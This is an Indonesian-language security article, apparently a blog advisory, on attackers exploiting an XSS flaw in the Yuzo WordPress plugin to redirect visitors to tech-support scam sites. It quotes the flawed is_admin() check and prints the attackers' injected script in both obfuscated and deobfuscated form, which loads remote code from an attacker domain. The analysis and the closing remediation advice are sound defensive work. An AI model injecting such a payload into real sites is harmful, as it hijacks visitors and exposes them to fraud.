Eksploitasi plugin WordPress Yuzo menjadi berita hangat setelah dilaporkan bahwa kerentanan XSS (cross-site scripting) telah ditargetkan oleh penyerang untuk mengarahkan pengguna ke situs berbahaya.
Selain itu, plugin Yuzo saat ini diinstal pada 60.000 situs, menurut data di WordPress. Banyak instruksi mengenai WordPress Redirect Exploit telah dikeluarkan di WordPress sejak saat itu. Beberapa instruksi dengan jelas menyarankan mencopot pemasangan plugin secepat mungkin.
Pertama, kerentanan diumumkan kepada publik pada 30 Maret 2019 oleh pengembang keamanan tanpa memberi tahu 60.000 pengguna plugin tentang hal itu. Ini tetap menjadi penyebab terbesar eksploitasi plugin Yuzo sampai sekarang. Ini mempersenjatai para penyerang dengan bebas dari kerentanan sambil membebani para pengguna situs web mereka. Plugin Yuzo kemudian dihapus dari direktori plugins WordPress untuk mencegah instalasi baru. Namun, versi yang sudah diinstal masih belum diperbaiki. Dengan demikian, memberi para penyerang izin bebas untuk masuk dan mengeksploitasi lebih lanjut atas kehendak mereka.
Saya mencoba melihat deskripsi lengkap Yuzo di WordPress setelah eksploitasi dan mendapatkan hasil ini sebagai gantinya:
Kedua, ternyata kode is_admin() berada di bagian kekacauan. Penggunaan is_admin() yang salah oleh pengembang di baris berikut memungkinkan penyerang untuk memasukkan JavaScript dan kode berbahaya lainnya ke dalam pengaturan plugin.
function __construct(){ if( ! is_admin() ){ // only front-end self::set_main_variable(); return; }elseif( is_admin() ){ // only admin // set default if not exists self::_ini_();
Selanjutnya, untuk menjalankan rencana penyerang mereka memasukkan kode-kode berikut ke dalam file yuzo_related_post_css_and_style. Dan, sebagai hasilnya, itu mengarahkan situs web ke situs berbahaya saat dikunjungi.
</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>
Pada deobfuscating kode di atas, kita mendapatkan kode berikut yang jauh lebih mudah dibedakan.
</style><script language=javascript>var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.async = true; elem.src = 'https://hellofromhony.org/counter'; document.getElementsByTagName('head')[0].appendChild(elem);</script>
Ketika pengguna mengunjungi situs web berbahaya yang berisi muatan di atas, mereka akan diarahkan ke halaman penipuan dukungan teknis berbahaya. Contoh:
Sekarang detail dari eksploitasi plugin WordPress Yuzo menjadi jelas, kamu dapat mengambil langkah-langkah protektif seperti menghapus instalan plugin Yuzo, memastikan versi plugin/tema yang dipakai up-to-date dan mengatur ulang kata sandi akun sebagai langkah terbaik berikutnya.